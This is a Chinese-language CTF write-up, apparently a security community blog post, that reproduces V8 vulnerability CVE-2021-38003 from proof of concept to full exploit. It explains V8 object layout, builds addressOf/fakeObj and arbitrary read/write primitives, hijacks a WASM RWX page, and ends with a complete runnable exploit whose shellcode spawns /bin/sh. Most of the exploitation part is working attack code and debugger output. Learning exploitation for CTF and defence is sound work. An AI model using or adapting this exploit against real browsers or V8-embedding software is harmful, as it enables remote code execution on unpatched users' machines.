从POC到EXP:从0基础到v8 CVE-2021-38003复现
CTF
从POC到EXP:从0基础到v8 CVE-2021-38003复现
从POC到EXP:从0基础到v8 CVE-2021-38003复现 ================================= 参考文献 ---- [TheHole New World - how a small leak will sink a great browser (CVE-2021-38003)](https://starlabs.sg/blog/2022/12-the-hole-new-world-how-a-small-leak-will-sink-a-great-browser-cve-2021-38003/) \[V8 Deep Dives\] [Understanding Map Internals](https://itnext.io/v8-deep-dives-understanding-map-internals-45eb94a183df) [从 0 开始学 V8 漏洞利用系列篇](https://www.anquanke.com/post/id/267518#h2-0) [Chaos-me-JavaScript-V8](https://github.com/ErodedElk/Chaos-me-JavaScript-V8/tree/master) [手把手教你入门V8漏洞利用](https://bbs.kanxue.com/thread-258431-1.htm) 前言 -- 最近在做2026年SUCTF的赛题复现,做到[SU\_BOX](https://github.com/team-su/SUCTF-2026/tree/main/pwn/SU_Box/writeup)这一题的时候发现是一个v8引擎利用,之前也没有学过v8就一边学一边做了这一题,学习的过程中也踩了很多坑…… 编译与调试 ----- 编译的主要流程参考了[从 0 开始学 V8 漏洞利用系列篇](https://www.anquanke.com/post/id/267518#h2-0)这一篇文章,这个文章将编译的流程写成了脚本,方便后续编译不同版本的v8。 需要注意的是,编译的参数最好按照官方的来,比如SU\_BOX使用的是[J2V8](https://github.com/eclipsesource/J2V8/tree/00dddaa31a80782abbe93c4a01f325db3c4975d6),其编译v8的方式是这样的 ```bash target_os = "linux" target_cpu = "x64" is_component_build = false is_debug = false use_custom_libcxx = false v8_monolithic = true v8_use_external_startup_data = false symbol_level = 0 v8_enable_i18n_support= false v8_enable_pointer_compression = false ``` 那我们就要在编译参数上尽可能相同,在此基础上添加部分调试参数进行编译 ```bash target_os = "linux" target_cpu = "x64" is_component_build = false is_debug = false use_custom_libcxx = false v8_monolithic = true v8_use_external_startup_data = false symbol_level = 2 v8_enable_i18n_support= false v8_enable_pointer_compression = false v8_enable_backtrace = true v8_enable_disassembler = true v8_enable_object_print = true v8_enable_verify_heap = true ``` 所以写成build.sh脚本是这样的,由于我是在docker中编译的,因此很多路径都是绝对路径,需要进行修改 ```bash #!/bin/bash VER=$1 if [ -z $2 ]; then NAME=$VER else NAME=$2 fi cd /work/v8_dev/v8 git reset --hard $VER gclient sync -D gn gen /work/v8_dev/out/x64_$NAME.release --args='target_os = "linux" target_cpu = "x64" is_component_build = false is_debug = false use_custom_libcxx = false v8_monolithic = true v8_use_external_startup_data = false symbol_level = 2 v8_enable_i18n_support= false v8_enable_pointer_compression = false v8_enable_backtrace = true v8_enable_disassembler = true v8_enable_object_print = true v8_enable_verify_heap = true' ninja -C /work/v8_dev/out/x64_$NAME.release d8 ``` 如果不按照官方给的参数编译的话,有可能POC无法跑通,就直接影响后续的漏洞利用 同时,经过多次尝试,我建议在运行ubuntu 20.04或者ubuntu 22.04且运行python 3.9或者python 3.10的系统环境中构建,过高或者过低的系统/python版本都会导致编译出错。编译完之后的目录是这样子的  其中可执行文件d8就是我们攻击的目标文件  同时需要将这两个文件导入到gdbinit文件中,这样才能使用v8的调试指令 我们将以下内容写在test.js中 ```javascript a= [1.1, 2.2]; %DebugPrint(a); %SystemBreak(); ``` `%SystemBreak()`就是断点,程序会断在这里;`%DebugPrint(a)`就是将a列表的调试数据打印到终端  在gdb中调试d8文件,然后运行的时候带上--allow-natives-syntax参数才能使用`%SystemBreak()` `%DebugPrint()`两条调试指令,运行效果如下  也可以在gdb中使用job指令查看对象  需要注意的是,v8为了体现数据和地址的不同采用了不同的策略:地址+1存储,也就是说如果0x41414140作为对象地址存储就会变成0x41414141,这一点非常重要,所以这个对象的真实地址是0x3655bb30ee01-1=0x3655bb30ee00 配合x指令打印具体地址信息,可以看到JSArray结构体其实是这样排布的  数据的底层存储 ------- 回到刚刚的程序 ```javascript a= [1.1, 2.2]; %DebugPrint(a); %SystemBreak(); ``` JSArray结构体用示意图来表示是这样的  > 高版本的v8中存在地址压缩,在这个版本中部分字段占8字节,具体每个字段占几个字节需要根据具体版本进行调试分析 我们看一下element是如何存储的  可以看到数据其实是存储在一个FixedDoubleArray结构体对象里的,同时可以看到这个结构体的存储位置是JSArray结构体的上方,示意图如下:  我们调试一下下面的程序,看看其中其他数据类型的存储和浮点类型的数据存储有什么不同 ```javascript a = [1.1, 2.2]; b = [0x3333, 0x4444]; c = [a, b]; %DebugPrint(a); %DebugPrint(b); %DebugPrint(c); %SystemBreak(); ``` 这是b对象的信息  示意图如下,可以看到在这个数据结构中存储element的结构体和JSArray结构体并不是在内存上相邻的  这是c对象的信息  示意图如下,可以看到在这个数据结构中存储对象的FixedArray结构体和JSArray结构体在内存上相邻的  OK,那么我们可以简单总结一下:**如果一个JSArray结构体存储的是浮点数和对象,那么这个结构体存储元素的地址和它本身是相邻的** 如果我们能通过一个漏洞修改浮点数JSArray的length字段,就可以通过索引来进行越界读写,这其实就是v8漏洞利用的**核心** v8漏洞利用原理 -------- 了解了v8底层的数据存储就可以正式开始学习v8的漏洞利用了 ### v8类型混淆 v8是如何判断一个JSArray结构体中存储的是浮点数、整数还是对象的呢,其实就是看JSArray的Map,每一种类型的Map都不一样 如果我们将一个存储对象的JSArray结构体的Map修改为浮点数数组对应的Map,那么读取这个结构体的时候就会返回一个浮点数  我们拿到的浮点数是什么呢?诶,这就是对象的地址,v8漏洞利用中我们就可以通过这个方式来泄露对象的地址。我们将这个流程封装成函数`addressOf`,可以这么调用 ```javascript var victim_arr_addr = addressOf(victim_arr); ``` 将一个存储浮点数的JSArray结构体的Map修改为对象数组对应的Map,那么我读取这个结构体的时候就能返回一个对象,我们可以通过这个功能构造一个fake Object,将这个流程封装成函数`fakeObj()`,可以这样调用 ```javascript var fake_object = fakeObj(fake_object_addr); ``` fake Object有什么用呢,我们可以通过这个fake Object来达到任意地址读和任意地址写的效果 获得`addressOf`和`fakeObj`原语,基本就是靠我们上一块所讲的修改浮点数JSArray的length字段以达到越界写来实现的 ### 工具函数 ```javascript var f64 = new Float64Array(1); var bigUint64 = new BigUint64Array(f64.buffer); var u32 = new Uint32Array(f64.buffer); // Double to Uint32 function d2u(v) { f64[0] = v; return u32; } // Uint32 to Double function u2d(lo, hi) { u32[0] = lo; u32[1] = hi; return f64[0]; } // Float to Integer function ftoi(f) { f64[0] = f; return bigUint64[0]; } // Integer to Float function itof(i) { bigUint64[0] = i; return f64[0]; } function hex(i) { return i.toString(16).padStart(8, "0"); } ``` 由于在v8漏洞中主要利用的还是浮点数的存储,因此需要一些工具函数用于大整数与浮点数之间的互转,函数定义如上,可以直接拿着用 ### 任意地址读写 首先我们要通过漏洞实现`addressOf`和`fakeObj`原语,同时已经泄露出了浮点数JSArray的Map值,将其定义为DOUBLE\_MAP常量,随后定义or修改浮点数对象如下: ```javascript var victim = [DOUBLE_MAP, 0n, addr, itof(0x0000000100000000n)]; ``` 此时内存中是这样存储的  然后通过`addressOf`原语获得标红区域的内存,将其传入`fakeObj`原语中,就可以拿到fake Object,将其定义为fake\_object 最后我们可以通过`fake_object[0]`来进行任意地址读,由于这个fake\_object是伪造的存储浮点数的JSArray,因此通过`fake_object[0]`获取的值并不是addr中存储的数据,而是`addr+0x10`中存储的数据,原理可以看下面这一张图,因为addr应该是一个FixedDoubleArray结构体的地址,而存储数据的地址是`addr+0x10`  我们可以将其封装成`read64`函数 ```javascript function read64(addr) { victim_arr[2] = itof(addr - 0x10n + 0x1n); return ftoi(fake_object[0]); } ``` 这里的addr就是我们想泄露的地址,那么写到fake\_object中就应该是`addr-0x10+1` > 这个1的产生就是我们之前说过的v8存储地址和普通程序的差异 任意地址写和任意地址读差不多,无非就是最后的从fake\_object获取值改成了修改fake\_object的存储的值 ```javascript function write64(addr, data) { victim_arr[2] = itof(addr - 0x10n + 0x1n); fake_object[0] = itof(data); } ``` ### 挟持WASM段 由于低版本v8中会给WASM一个可读可写可执行的段,因此我们可以考虑通过shellcode替换原有的WASM内容以达到执行shellcode的效果 ```javascript var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule, {}); var f = wasmInstance.exports.main; %DebugPrint(f); %DebugPrint(wasmInstance); %SystemBreak(); ```  当执行到断点时,vmmap就可以看到出现了一个可读可写可执行段,我们只需要想办法把shellcode写入这个段的开始地址,也就是0x11d80365f000,随后执行`f()`就可以触发shellcode 需要注意的是,在较高版本的v8中,WASM段已经不是可读可写可执行了,而是变成了可读可执行,因此就没有办法通过这个方式来进行利用了 ### 任意地址写plus 我们回头看看之前的任意地址写,如果通过之前的方式写入shellcode会导致以下两个问题 1. 设置的elements地址为`addr-0x10+1`,但想要写shellcode的地址一般都是内存段在开头(即之前的0x11d80365f000),那么更前面的内存空间则是未开辟的(`0x11d80365f000-0x10+1`),写入时会因为访问未开辟的内存空间发生异常 2. 在尝试写以0x7f开头的地址(如free\_hook),Double类型的浮点数在处理这些高地址时会将低20位置零,导致地址错误(这一点跟版本有关,有待调试) 因此我们需要一种向某个对象中写入数据不需要经过map和length的方式来实现任意地址写 ```javascript var data_buf = new ArrayBuffer(0x10); var data_view = new DataView(data_buf); data_view.setFloat64(0, itof(0x41414141n), true); %DebugPrint(data_buf); %DebugPrint(data_view); %SystemBreak(); ``` 调试结果如下  可以看到,本质上来说`setFloat64`是在向JSArrayBuffer的backing\_store指向的内存中写入内容,那么我们只要通过原有的任意地址写`write64`控制这个字段为可读可写可执行段的开始地址,就可以通过`setFloat64`方法向内存中无限制写入数据 讲到这里,v8漏洞利用就差不多了,可以开始具体分析题目了,因为`addressOf`和`fakeObj`原语都和具体题目有关,不同的题目获得原语的方式也不同。获得了这两个原语才能再写`read64`函数和`write64`函数 CVE-2021-38003 -------------- 这个CVE的POC可以从谷歌纰漏漏洞的网站找到https://issues.chromium.org/issues/40057710 关于漏洞产生的原理本文不过多赘述,我们关注于漏洞点的利用,也就是已知CVE如何利用漏洞 ```javascript function trigger() { let a = [], b = []; let s = '"'.repeat(0x800000); a[20000] = s; for (let i = 0; i < 10; i++) a[i] = s; for (let i = 0; i < 10; i++) b[i] = a; try { JSON.stringify(b); } catch (hole) { return hole; } throw new Error('could not trigger'); } let hole = trigger(); var map = new Map(); map.set(1, 1); map.set(hole, 1); // Due to special handling of hole values, this ends up setting the size of the map to -1 map.delete(hole); map.delete(hole); map.delete(1); // Set values in the map, which presumably ends up corrupting data in fron of // the map storage due to the size being -1 for (let i = 0; i < 100; i++) { map.set(i, 1); } ``` 我们将最后的循环删掉,然后打印一下map.size,看看POC有没有生效 ```javascript function trigger() { let a = [], b = []; let s = '"'.repeat(0x800000); a[20000] = s; for (let i = 0; i < 10; i++) a[i] = s; for (let i = 0; i < 10; i++) b[i] = a; try { JSON.stringify(b); } catch (hole) { return hole; } throw new Error('could not trigger'); } let hole = trigger(); var map = new Map(); map.set(1, 1); map.set(hole, 1); // Due to special handling of hole values, this ends up setting the size of the map to -1 map.delete(hole); map.delete(hole); map.delete(1); print("map.size =", map.size) ```  可以看到POC是有效的,那么我们就可以将这个POC改写成EXP进行利用 修改POC的整体流程可以配合https://starlabs.sg/blog/2022/12-the-hole-new-world-how-a-small-leak-will-sink-a-great-browser-cve-2021-38003/ 这篇文章食用,但是这篇文章的绝大多数数据需要在本地进行调试得出,我们接下来就开始我们的调试流程 ### 调试 首先我们看一下正常的map对象是什么样子的  JSMap在底层是通过OrderedHashMap实现的,因此我们重点需要分析OrderedHashMap这个结构体,这个结构体的原理可以看这篇文章https://itnext.io/v8-deep-dives-understanding-map-internals-45eb94a183df 这个结构体的示意图如下:  当我们执行`map.set(key, value)`时,会先对我们的key取哈希,随后和`bucket_count-1`进行与操作,获得hash\_table\_index 随后current\_index就是目前已经放入数据的个数,如果`hashTable[hash_table_index] == -1`就代表这个哈希表还是空的,就会将key和value写入dataTable中 ```javascript hash_table_index = hashcode(key) & (bucket_count-1) current_index = current_element_count if hashTable[hash_table_index] == -1: // add new key-value // no boundary check dataTable[current_index].key = key dataTable[current_index].value = value .......... else: // update existing key-value in map // has boundary check ``` 当触发`map.size == -1`的漏洞时,我们看一下此时新建键值对会对内存产生什么影响 ```javascript function trigger() { let a = [], b = []; let s = '"'.repeat(0x800000); a[20000] = s; for (let i = 0; i < 10; i++) a[i] = s; for (let i = 0; i < 10; i++) b[i] = a; try { JSON.stringify(b); } catch (hole) { return hole; } throw new Error('could not trigger'); } let hole = trigger(); var map = new Map(); map.set(1, 1); map.set(hole, 1); // Due to special handling of hole values, this ends up setting the size of the map to -1 map.delete(hole); map.delete(hole); map.delete(1); print("map.size =", map.size) map.set(0x41, 0x42); %DebugPrint(map); %SystemBreak(); ```   可以看到0x41和0x42这两个值分别放在了`buckets Count`和`hashTable[0]`的位置上,这样的话我们就可以通过这一次异常操作来挟持OrderedHashMap中hashTable和dataTable的个数,进而达到越界写的目的  - - - - - - 假设我们在这个结构体后方放一个JSArray,那么就有概率通过OrderedHashMap中的越界写来控制JSArray中的数据 ```javascript function trigger() { let a = [], b = []; let s = '"'.repeat(0x800000); a[20000] = s; for (let i = 0; i < 10; i++) a[i] = s; for (let i = 0; i < 10; i++) b[i] = a; try { JSON.stringify(b); } catch (hole) { return hole; } throw new Error('could not trigger'); } let hole = trigger(); var map = new Map(); map.set(1, 1); map.set(hole, 1); // Due to special handling of hole values, this ends up setting the size of the map to -1 map.delete(hole); map.delete(hole); map.delete(1); print("map.size =", map.size) oob_arr = [1.1, 1.1, 1.1, 1.1]; %DebugPrint(map); %DebugPrint(oob_arr); %SystemBreak(); ``` 我们调试这个程序  OrderedHashMap的内存数据如下  oob\_arr对象的数据如下  可以看到oob\_arr的length在0x298c5b7ad560的位置,和OrderedHashMap结构体的位置距离很近是有机会覆盖的,既然我们能够控制OrderedHashMap结构体的bucket数量,那么就可以拓展hashTable和dataTable到这个区域进行篡改 因此初步计划如下  ```javascript hash_table_index = hashcode(key) & (bucket_count-1) current_index = current_element_count if hashTable[hash_table_index] == -1: // add new key-value // no boundary check dataTable[current_index].key = key dataTable[current_index].value = value .......... else: // update existing key-value in map // has boundary check ``` 第一次的异常操作来挟持bucket Count,使其`dataTable[0]`的位置与oob\_array的length字段重叠,同时设置`hashTable[0] = -1`,此时current\_element\_count为0,这个时候,只要第二次`map.set(key, value)`满足`hashcode(key) & (bucket_count-1) == 0`,就能触发`hashTable[hash_table_index] == -1`,进而修改`dataTable[current_index].key = key`,从而达到修改length的目的 我们先解决设置bucket为多少的问题,再解决取什么key能达到要求的问题 经过调试我们可以发现,`hashTable[0]`的地址是0x298c5b7ad4a8  oob\_array的length地址是0x298c5b7ad560  这样的话我们简单算一下,假设bucket的数值是n,那么`hashTable[n-1]`的地址就是0x298c5b7ad558,这样的话 ```php (0x298c5b7ad558 - 0x298c5b7ad4a8) / 8 = 0x16 ``` 这样的话bucket就要设置成`0x16+1 = 0x17`,那么第一次就要执行`map.set(0x17, -1);` 接下来要挑选一个key能够满足`hashcode(key) & (bucket_count-1) == 0`的要求,v8的哈希算法是公开的,同时我们可以利用之前文章中已成型的程序将其bucket值改成0x17即可 ```c++ #include <bits/stdc++.h> using namespace std; uint32_t ComputeUnseededHash(uint32_t key) { uint32_t hash = key; hash = ~hash + (hash << 15); // hash = (hash << 15) - hash - 1; hash = hash ^ (hash >> 12); hash = hash + (hash << 2); hash = hash ^ (hash >> 4); hash = hash * 2057; // hash = (hash + (hash << 3)) + (hash << 11); hash = hash ^ (hash >> 16); return hash & 0x3fffffff; } int main(int argc, char *argv[]) { uint32_t i = 0; while(i <= 0xffffffff) { /* bucket_count is 0x1c * hashcode(key) & (bucket_count-1) should become 0 * we'll have to find a key that is large enough to achieve OOB read/write, while matching hashcode(key) & 0x1b == 0 */ uint32_t hash = ComputeUnseededHash(i); if (((hash & (0x17-1)) == 0) && (i > 0x100)) { printf("Found: %p\n", i); break; } i = (uint32_t)i+1; } return 0; } ```  也就是说第二次set的key要等于0x103,而value不重要,我们设置成0(因为`dataTable[0].value`的位置已经不在JSArray结构体内了,不需要关注这个值) 综上所述,我们需要进行以下操作: ```javascript map.set(0x17, -1); map.set(0x103, 0); ``` 我们写一个完整程序调试一下试试 ```javascript function trigger() { let a = [], b = []; let s = '"'.repeat(0x800000); a[20000] = s; for (let i = 0; i < 10; i++) a[i] = s; for (let i = 0; i < 10; i++) b[i] = a; try { JSON.stringify(b); } catch (hole) { return hole; } throw new Error('could not trigger'); } let hole = trigger(); var map = new Map(); map.set(1, 1); map.set(hole, 1); // Due to special handling of hole values, this ends up setting the size of the map to -1 map.delete(hole); map.delete(hole); map.delete(1); print("map.size =", map.size) oob_arr = [1.1, 1.1, 1.1, 1.1]; map.set(0x17, -1); map.set(0x103, 0); %DebugPrint(oob_arr); %SystemBreak(); ```  可以看到JSArray结构体的length变成了0x103,成功进行了修改,接下来就可以通过这个oob\_arr进行越界读写 ### 获取addressOf和fakeObj原语 我们可以这样布置变量 ```javascript ...... oob_arr = [1.1, 1.1, 1.1, 1.1]; victim_arr = [2.2, 2.2, 2.2, 2.2, 2.2, 2.2]; obj_arr = [{}, {}, {}, {}]; map.set(0x17, -1); map.set(0x103, 0); ...... ``` 这样的话就可以通过oob\_arr的越界读读取到存储浮点数的Map,定义为常量DOUBLE\_MAP,可以通过越界读读取到存储对象的Map,定义为OBJECT\_MAP ```javascript ...... print("map.size =", map.size) oob_arr = [1.1, 1.1, 1.1, 1.1]; victim_arr = [2.2, 2.2, 2.2, 2.2, 2.2, 2.2]; obj_arr = [{}, {}, {}, {}]; map.set(0x17, -1); map.set(0x103, 0); %DebugPrint(oob_arr); %DebugPrint(victim_arr) // %DebugPrint(obj_arr) %SystemBreak(); ``` `oob_arr[0]`的地址是0x46f5552d528,存储浮点数的Map在内存0x46f5552d5a8中,可以通过`oob_arr[0x10]`访问到,同理可得,可以通过`oob_arr[0x36]`获取存储对象的Map ```javascript oob_arr = [1.1, 1.1, 1.1, 1.1]; victim_arr = [2.2, 2.2, 2.2, 2.2, 2.2, 2.2]; obj_arr = [{}, {}, {}, {}]; map.set(0x17, -1); map.set(0x103, 0); const DOUBLE_MAP = ftoi(oob_arr[0x10]); const OBJECT_MAP = ftoi(oob_arr[0x36]); print("DOUBLE_MAP = 0x" + hex(DOUBLE_MAP)); print("OBJECT_MAP = 0x" + hex(OBJECT_MAP)); ``` 这样的话`addressOf`可以这样写,先把要泄露的地址写到`obj_arr[0]`中,然后修改obj\_arr的Map为DOUBLE\_MAP,随后就可以获取想要获取的对象地址了,最后要将obj\_arr的Map重新修复为OBJECT\_MAP,以便多次使用 ```javascript function addressOf(obj_to_leak) { obj_arr[0] = obj_to_leak; oob_arr[0x36] = itof(DOUBLE_MAP); let target_var_addr = ftoi(obj_arr[0]); oob_arr[0x36] = itof(OBJECT_MAP); return target_var_addr; } ``` `fakeObj`和`addressOf`基本一致,将伪造fake\_object的地址填入victim\_arr中,修改victim\_arr的Map为OBJECT\_MAP,从而获取fake\_object,最后将victim\_arr的Map修复为DOUBLE\_MAP以便多次使用 ```javascript function fakeObj(addr_to_fake) { victim_arr[0] = itof(addr_to_fake+1n); oob_arr[0x10] = itof(OBJECT_MAP); let fake_obj = victim_arr[0]; oob_arr[0x10] = itof(DOUBLE_MAP); return fake_obj; } ``` 我们可以伪造`victim_arr[2]~victim[4]`为fake\_object,通过这个fake\_object来达到任意地址读写的能力 ```javascript victim_arr_addr = addressOf(victim_arr) - 1n; print("victim_arr_addr = 0x" + hex(victim_arr_addr)); victim_arr[2] = itof(DOUBLE_MAP); victim_arr[3] = itof(0n); victim_arr[4] = itof(0x41414141n); victim_arr[5] = itof(0x0000000100000000n); fake_object_addr = victim_arr_addr - 0x20n; fake_object = fakeObj(fake_object_addr); %DebugPrint(fake_object) %SystemBreak(); ``` 此时内存中是这样的   可以看到我们的fake\_object能被系统正常识别,报错是因为0x41414140地址无法访问,这个没关系,只要在地址未被正常设置前不使用`%DebugPrint(fake_object)`就不会有问题,可以正常进行`read64`和`write64`,因为这个地址会在这两个函数中被重写的 ### 获得read64和write64 既然有了fake\_object,那么`read64`和`write64`可以这样写 ```javascript function read64(addr) { victim_arr[4] = itof(addr - 0x10n + 0x1n); return ftoi(fake_object[0]); } ``` 就是通过victim\_arr修改fake\_object指向element的地址,然后通过`fake_object[0]`读取 ```javascript function write64(addr, data) { victim_arr[4] = itof(addr - 0x10n + 0x1n); fake_object[0] = itof(data); } ``` `write64`的原理与`read64`相同,就是读取内存变成了对内存赋值 ### 获取WASM可读可写可执行段 ```javascript var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule, {}); var f = wasmInstance.exports.main; %DebugPrint(wasmInstance) %SystemBreak(); ``` 对这个程序进行调试  可以看到RWX段在结构体开始地址+0x80的位置上,我们可以通过`read64`获取这个地址 ```javascript var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule, {}); var f = wasmInstance.exports.main; shellcode_addr = read64(addressOf(wasmInstance)-1n+0x80n); print("shellcode_addr = 0x" + hex(shellcode_addr)); ``` ### 通过任意地址写plus,写入shellcode ```javascript var shellcode = [ 0x48, 0xBF, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x73, 0x68, 0x00, 0x57, 0x48, 0x89, 0xE7, 0x48, 0x31, 0xF6, 0x48, 0x31, 0xD2, 0x48, 0xC7, 0xC0, 0x3B, 0x00, 0x00, 0x00, 0x0F, 0x05 ] shellcode_write(shellcode_addr, shellcode); ``` `shellcode_write`函数需要通过任意地址写plus实现,具体如下 ```javascript function shellcode_write(addr,shellcode) { var data_buf = new ArrayBuffer(shellcode.length); var data_view = new DataView(data_buf); var buf_backing_store_addr=addressOf(data_buf)-1n+0x28n; write64(buf_backing_store_addr,addr); for (let i=0;i<shellcode.length;++i) { data_view.setUint8(i,shellcode[i]); } } ``` 由于backing\_store在JSArrayBuffer结构体+0x28的位置,因此需要通过write64控制这个字段,随后多次调用`setUint8`方法即可逐字节写入shellcode 写完后执行 ```javascript f(); ``` 即可获得shell  ### 完整exp如下 ```javascript var f64 = new Float64Array(1); var bigUint64 = new BigUint64Array(f64.buffer); var u32 = new Uint32Array(f64.buffer); // Double to Uint32 function d2u(v) { f64[0] = v; return u32; } // Uint32 to Double function u2d(lo, hi) { u32[0] = lo; u32[1] = hi; return f64[0]; } // Float to Integer function ftoi(f) { f64[0] = f; return bigUint64[0]; } // Integer to Float function itof(i) { bigUint64[0] = i; return f64[0]; } function hex(i) { return i.toString(16).padStart(8, "0"); } function addressOf(obj_to_leak) { obj_arr[0] = obj_to_leak; oob_arr[0x36] = itof(DOUBLE_MAP); let target_var_addr = ftoi(obj_arr[0]); oob_arr[0x36] = itof(OBJECT_MAP); return target_var_addr; } function fakeObj(addr_to_fake) { victim_arr[0] = itof(addr_to_fake+1n); oob_arr[0x10] = itof(OBJECT_MAP); let fake_obj = victim_arr[0]; oob_arr[0x10] = itof(DOUBLE_MAP); return fake_obj; } function read64(addr) { victim_arr[4] = itof(addr - 0x10n + 0x1n); return ftoi(fake_object[0]); } function write64(addr, data) { victim_arr[4] = itof(addr - 0x10n + 0x1n); fake_object[0] = itof(data); } function shellcode_write(addr,shellcode) { var data_buf = new ArrayBuffer(shellcode.length); var data_view = new DataView(data_buf); var buf_backing_store_addr=addressOf(data_buf)-1n+0x28n; write64(buf_backing_store_addr,addr); for (let i=0;i<shellcode.length;++i) { data_view.setUint8(i,shellcode[i]); } } function trigger() { let a = [], b = []; let s = '"'.repeat(0x800000); a[20000] = s; for (let i = 0; i < 10; i++) a[i] = s; for (let i = 0; i < 10; i++) b[i] = a; try { JSON.stringify(b); } catch (hole) { return hole; } throw new Error('could not trigger'); } let hole = trigger(); var map = new Map(); map.set(1, 1); map.set(hole, 1); // Due to special handling of hole values, this ends up setting the size of the map to -1 map.delete(hole); map.delete(hole); map.delete(1); print("map.size =", map.size) oob_arr = [1.1, 1.1, 1.1, 1.1]; victim_arr = [2.2, 2.2, 2.2, 2.2, 2.2, 2.2]; obj_arr = [{}, {}, {}, {}]; map.set(0x17, -1); map.set(0x103, 0); const DOUBLE_MAP = ftoi(oob_arr[0x10]); const OBJECT_MAP = ftoi(oob_arr[0x36]); print("DOUBLE_MAP = 0x" + hex(DOUBLE_MAP)); print("OBJECT_MAP = 0x" + hex(OBJECT_MAP)); victim_arr_addr = addressOf(victim_arr) - 1n; print("victim_arr_addr = 0x" + hex(victim_arr_addr)); victim_arr[2] = itof(DOUBLE_MAP); victim_arr[3] = itof(0n); victim_arr[4] = itof(0x41414141n); victim_arr[5] = itof(0x0000000100000000n); fake_object_addr = victim_arr_addr - 0x20n; fake_object = fakeObj(fake_object_addr); var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule, {}); var f = wasmInstance.exports.main; shellcode_addr = read64(addressOf(wasmInstance)-1n+0x80n); print("shellcode_addr = 0x" + hex(shellcode_addr)); var shellcode = [ 0x48, 0xBF, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x73, 0x68, 0x00, 0x57, 0x48, 0x89, 0xE7, 0x48, 0x31, 0xF6, 0x48, 0x31, 0xD2, 0x48, 0xC7, 0xC0, 0x3B, 0x00, 0x00, 0x00, 0x0F, 0x05 ] shellcode_write(shellcode_addr, shellcode); f(); ``` 结语 -- 这篇文章主要关注于已知漏洞的利用,并非漏洞的挖掘。在赛场上需要在有效的时间内完成验证POC到编写EXP的整个流程,因此调试的思路是很重要的。这个CVE网上流传的EXP绝大多数不能用,这个和不同版本v8的字段偏移有关,比如WASM段在wasmInstance结构体中的偏移和backing\_store在JSArrayBuffer中的偏移都需要通过调试获得,同时也和不同版本v8变量的底层存储逻辑有关。 这篇文章记录了我从0基础到完成v8 CVE复现的整个流程,耗时两周。实话实说挺坐牢的,好在最终拿到了shell,也成功入门v8,成就感直接爆表。作为pwn手的我不就期待着这一刻吗( •́ .̫ •̀ )。
发表于 2026-04-29 15:17:30
阅读 ( 2521 )
分类:
漏洞分析
2 推荐
收藏
0 条评论
sysNow
1 篇文章
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!